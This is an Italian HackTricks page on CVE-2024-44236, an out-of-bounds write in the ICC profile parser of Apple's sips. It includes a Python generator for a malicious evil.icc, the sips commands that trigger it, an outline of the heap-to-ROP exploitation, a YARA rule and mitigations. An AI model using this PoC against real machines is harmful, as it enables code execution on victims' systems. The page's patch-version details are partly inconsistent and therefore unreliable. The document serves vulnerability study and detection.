WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŠ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Una vulnerabilitĂ di zero-write fuori dai limiti nel parser del profilo ICC del Scriptable Image Processing System (sips) di Apple macOS (macOS 15.0.1, sips-307) consente a un attaccante di corrompere i metadati dellâheap e di pivotare il primitivo in unâesecuzione di codice completa. Il bug si trova nella gestione del campo offsetToCLUT dei tag lutAToBType (mAB ) e lutBToAType (mBA ). Se gli attaccanti impostano offsetToCLUT == tagDataSize, il parser cancella 16 byte oltre la fine del buffer dellâheap. Il heap spraying consente allâattaccante di azzerare le strutture dellâallocatore o i puntatori C++ che verranno successivamente dereferenziati, producendo una catena di arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).
Apple ha corretto il bug in macOS Sonoma 15.2 / Ventura 14.7.1 (30 ottobre 2024). Una seconda variante (CVE-2025-24185) Ăš stata risolta in macOS 15.5 e iOS/iPadOS 18.5 il 1 aprile 2025.
Codice Vulnerabile
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD â zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Passi di Sfruttamento
- Crea un profilo
.iccmalevolo
- Imposta unâintestazione ICC minima (
acsp) e aggiungi un tagmAB(omBA). - Configura la tabella dei tag in modo che
offsetToCLUTsia uguale alla dimensione del tag (tagDataSize). - Posiziona i dati controllati dallâattaccante subito dopo il tag in modo che i 16 scritture zero sovrappongano i metadati dellâallocatore.
- Attiva lâanalisi con qualsiasi operazione sips che tocchi il profilo
# percorso di verifica (nessun file di output necessario)
sips --verifyColor evil.icc
# o implicitamente durante la conversione di immagini che incorporano il profilo
sips -s format png payload.jpg --out out.png
- Corruzione dei metadati dellâheap â scrittura arbitraria â ROP
Sullâallocatore
nano_zonepredefinito di Apple, i metadati per slot da 16 byte si trovano immediatamente dopo il blocco allineato 0x1000. Posizionando il tag del profilo alla fine di un tale blocco, le 16 scritture zero sovrascrivonometa->slot_B. Dopo un successivofree, il puntatore avvelenato viene inserito nella lista di piccole allocazioni libere, consentendo allâattaccante di allocare un oggetto falso a un indirizzo arbitrario e sovrascrivere un puntatore vtable C++ utilizzato da sips, infine deviando lâesecuzione verso una catena ROP memorizzata nel buffer ICC malevolo.
Generatore PoC rapido (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
Regola di rilevamento YARA
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impatto
Lâapertura o lâelaborazione di un profilo ICC creato ad hoc porta allâesecuzione arbitraria di codice remoto nel contesto dellâutente che lo invoca (Preview, QuickLook, rendering di immagini Safari, allegati di Mail, ecc.), eludendo Gatekeeper poichĂ© il profilo puĂČ essere incorporato allâinterno di immagini altrimenti innocue (PNG/JPEG/TIFF).
Rilevamento e Mitigazione
- Patch! Assicurati che lâhost stia eseguendo macOS â„ 15.2 / 14.7.1 (o iOS/iPadOS â„ 18.1).
- Distribuisci la regola YARA sopra sui gateway email e sulle soluzioni EDR.
- Rimuovi o sanifica i profili ICC incorporati con
exiftool -icc_profile= -overwrite_original <file>prima di ulteriori elaborazioni su file non fidati. - Indurire Preview/QuickLook eseguendoli allâinterno di VM âsandboxedâ di âtrasparenza e modernizzazioneâ quando si analizzano contenuti sconosciuti.
- Per DFIR, cerca lâesecuzione recente di
sips --verifyColoro caricamenti della libreriaColorSyncda parte di app sandboxed nel log unificato.
Riferimenti
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 â âApple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)â https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Aggiornamenti di sicurezza Apple HT213981 âInformazioni sul contenuto di sicurezza di macOS Sonoma 15.2â https://support.apple.com/en-us/HT213981
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŠ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

